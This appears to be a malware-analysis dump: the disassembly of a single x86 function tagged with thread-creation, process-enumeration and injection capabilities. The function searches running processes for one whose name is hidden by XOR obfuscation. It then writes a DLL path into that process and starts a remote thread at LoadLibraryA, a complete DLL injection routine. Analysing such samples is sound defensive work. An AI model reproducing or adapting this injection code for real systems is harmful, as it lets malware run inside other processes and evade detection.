Function at 0x10036580
Capabilities:
Create thread
Enumerate processes
Inject thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x100f9080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov dword [ebp - 0x148], 0x128
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100366e7
mov dword [ebp - 0x158], 0x317ee000
mov dword [ebp - 0x154], 0xf15105c9
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x150], 0x38a28bf4
mov dword [ebp - 0x14c], 0x8ebfd9eb
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x160], 0x6e1f9467
mov dword [ebp - 0x15c], 0x947f64ba
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x168], 0x38a2ee8c
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x164], 0x8ebfd9eb
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x20]
mov dword [ebp - 0x178], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x174], ecx
lea ecx, [ebp - 0x124]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x20], xmm1
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100366b1
test dl, dl
je 0x100366ad
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100366b1
add ecx, 2
add eax, 2
test dl, dl
jne 0x10036691
xor eax, eax
jmp 0x100366b6
sbb eax, eax
or eax, 1
test eax, eax
je 0x100366d2
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100365d5
jmp 0x100366e7
push dword [ebp - 0x140]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
test edi, edi
je 0x100367e0
mov ecx, 0x1018a9b0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10036700
sub ecx, edx
push 4
push 0x3000
lea eax, [ecx + 1]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, eax
mov dword [ebp - 0x14c], edx
test edx, edx
je 0x100367dd
mov ecx, 0x1018a9b0
lea eax, [ecx + 1]
mov dword [ebp - 0x154], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10036740
sub ecx, dword [ebp - 0x154]
push 0
lea eax, [ecx + 1]
push eax
push 0x1018a9b0
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100367c9
push 0
push 0
push dword [ebp - 0x14c]
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x154], eax
test eax, eax
je 0x100367c9
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push dword [ebp - 0x14c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 0x154]
call esi
push edi
call esi
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a137a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8000
push 0
push dword [ebp - 0x14c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.100a137a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret